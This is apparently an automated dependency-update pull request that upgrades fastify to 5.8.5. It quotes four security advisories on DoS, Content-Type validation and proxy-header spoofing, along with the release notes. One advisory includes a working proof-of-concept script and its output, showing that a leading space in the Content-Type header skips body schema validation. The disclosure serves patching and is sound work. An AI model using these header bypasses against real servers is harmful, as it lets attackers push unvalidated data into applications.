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chore(deps): update dependency fastify to v5.8.5 [security]#10642

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chore(deps): update dependency fastify to v5.8.5 [security]#10642
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renovate/npm-fastify-vulnerability

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This PR contains the following updates:

Package Change Age Confidence
fastify (source) 5.7.2 → 5.8.5 age confidence

Fastify Vulnerable to DoS via Unbounded Memory Allocation in sendWebStream

CVE-2026-25224 / GHSA-mrq3-vjjr-p77c

More information

Details

Impact

A Denial of Service vulnerability in Fastify’s Web Streams response handling can allow a remote client to exhaust server memory. Applications that return a ReadableStream (or Response with a Web Stream body) via reply.send() are impacted. A slow or non-reading client can trigger unbounded buffering when backpressure is ignored, leading to process crashes or severe degradation.

Patches

The issue is fixed in Fastify 5.7.3. Users should upgrade to 5.7.3 or later.

Workarounds

Avoid sending Web Streams from Fastify responses (e.g., ReadableStream or Response bodies). Use Node.js streams (stream.Readable) or buffered payloads instead until the project can upgrade.

References

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Fastify's Missing End Anchor in "subtypeNameReg" Allows Malformed Content-Types to Pass Validation

CVE-2026-3419 / GHSA-573f-x89g-hqp9

More information

Details

Description

Fastify incorrectly accepts malformed Content-Type headers containing trailing characters after the subtype token, in violation of RFC 9110 §8.3.1. For example, a request sent with Content-Type: application/json garbage passes validation and is processed normally, rather than being rejected with 415 Unsupported Media Type.

When regex-based content-type parsers are in use (a documented Fastify feature), the malformed value is matched against registered parsers using the full string including the trailing garbage. This means a request with an invalid content-type may be routed to and processed by a parser it should never have reached.

Impact

An attacker can send requests with RFC-invalid Content-Type headers that bypass validity checks, reach content-type parser matching, and be processed by the server. Requests that should be rejected at the validation stage are instead handled as if the content-type were valid.

Workarounds

Deploy a WAF rule to protect against this

Fix

The fix is available starting with v5.8.1.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

fastify: request.protocol and request.host Spoofable via X-Forwarded-Proto/Host from Untrusted Connections

CVE-2026-3635 / GHSA-444r-cwp2-x5xf

More information

Details

Summary

When trustProxy is configured with a restrictive trust function (e.g., a specific IP like trustProxy: '10.0.0.1', a subnet, a hop count, or a custom function), the request.protocol and request.host getters read X-Forwarded-Proto and X-Forwarded-Host headers from any connection — including connections from untrusted IPs. This allows an attacker connecting directly to Fastify (bypassing the proxy) to spoof both the protocol and host seen by the application.

Affected Versions

fastify <= 5.8.2

Impact

Applications using request.protocol or request.host for security decisions (HTTPS enforcement, secure cookie flags, CSRF origin checks, URL construction, host-based routing) are affected when trustProxy is configured with a restrictive trust function.

When trustProxy: true (trust everything), both host and protocol trust all forwarded headers — this is expected behavior. The vulnerability only manifests with restrictive trust configurations.

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Fastify has a Body Schema Validation Bypass via Leading Space in Content-Type Header

CVE-2026-33806 / GHSA-247c-9743-5963

More information

Details

Summary

A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via schema.body.content can be completely circumvented by prepending a single space character (\x20) to the Content-Type header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped.
This is a regression introduced by commit f3d2bcb (fix for CVE-2025-32442).

Details

The vulnerability is a parser-validator differential between two independent code paths that process the raw Content-Type header differently.
Parser path (lib/content-type.js, line ~67) applies trimStart() before processing:

const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()
// ' application/json' → trimStart() → 'application/json' → body is parsed ✓

Validator path (lib/validation.js, line 272) splits on /[ ;]/ before trimming:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.split(/[ ;]/, 1)[0].trim().toLowerCase()
}
// ' application/json'.split(/[ ;]/, 1) → ['']  (splits on the leading space!)
// ''.trim() → ''
// context[bodySchema][''] → undefined → NO validator found → validation skipped!

The ContentType class applies trimStart() before processing, so the parser correctly identifies application/json and parses the body. However, getEssenceMediaType splits on /[ ;]/ before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type "", finds nothing, and skips validation entirely.
Regression source: Commit f3d2bcb (April 18, 2025) changed the split delimiter from ';' to /[ ;]/ to fix CVE-2025-32442. The old code (header.split(';', 1)[0].trim()) was not vulnerable to this vector because .trim() would correctly handle the leading space. The new regex-based split introduced the regression.

PoC
const fastify = require('fastify')({ logger: false });

fastify.post('/transfer', {
  schema: {
    body: {
      content: {
        'application/json': {
          schema: {
            type: 'object',
            required: ['amount', 'recipient'],
            properties: {
              amount: { type: 'number', maximum: 1000 },
              recipient: { type: 'string', maxLength: 50 },
              admin: { type: 'boolean', enum: [false] }
            },
            additionalProperties: false
          }
        }
      }
    }
  }
}, async (request) => {
  return { processed: true, data: request.body };
});

(async () => {
  await fastify.ready();

  // BLOCKED — normal request with invalid payload
  const res1 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': 'application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Normal:', res1.statusCode);
  // → 400 FST_ERR_VALIDATION

  // BYPASS — single leading space
  const res2 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': ' application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Leading space:', res2.statusCode);
  // → 200 (validation bypassed!)
  console.log('Body:', res2.body);

  await fastify.close();
})();

Output:

Normal: 400
Leading space: 200
Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}}
Impact

Any Fastify application that relies on schema.body.content (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header.
This vulnerability is distinct from all previously patched content-type bypasses:

CVE Vector Patched in 5.8.4?
CVE-2025-32442 Casing / semicolon whitespace ✅ Yes
CVE-2026-25223 Tab character (\t) ✅ Yes
CVE-2026-3419 Trailing garbage after subtype ✅ Yes
This finding Leading space (\x20) ❌ No

Recommended fix — add trimStart() before the split in getEssenceMediaType:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase()
}

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

fastify/fastify (fastify)

v5.8.5

Compare Source

⚠️ Security Release

This fixes CVE CVE-2026-33806 GHSA-247c-9743-5963.

What's Changed

New Contributors

Full Changelog: fastify/fastify@v5.8.4...v5.8.5

v5.8.4

Compare Source

Full Changelog: fastify/fastify@v5.8.3...v5.8.4

v5.8.3

Compare Source

⚠️ Security Release

This fixes CVE CVE-2026-3635 GHSA-444r-cwp2-x5xf.

What's Changed

New Contributors

Full Changelog: fastify/fastify@v5.8.2...v5.8.3

v5.8.2

Compare Source

What's Changed

New Contributors

Full Changelog: fastify/fastify@v5.8.1...v5.8.2

v5.8.1

Compare Source

⚠️ Security Release

Fixes "Missing End Anchor in "subtypeNameReg" Allows Malformed Content-Types to Pass Validation": GHSA-573f-x89g-hqp9.

CVE-2026-3419

Full Changelog: fastify/fastify@v5.8.0...v5.8.1

v5.8.0

Compare Source

What's Changed

New Contributors

Full Changelog: fastify/fastify@v5.7.4...v5.8.0

v5.7.4

Compare Source

Full Changelog: fastify/fastify@v5.7.3...v5.7.4

v5.7.3

Compare Source

⚠️ Security Release

What's Changed

Full Changelog: fastify/fastify@v5.7.2...v5.7.3

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This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot force-pushed the renovate/npm-fastify-vulnerability branch 3 times, most recently from 49d7aab to a11592c Compare June 24, 2026 10:01
@renovate renovate Bot force-pushed the renovate/npm-fastify-vulnerability branch from a11592c to 32c0bfb Compare July 6, 2026 07:06
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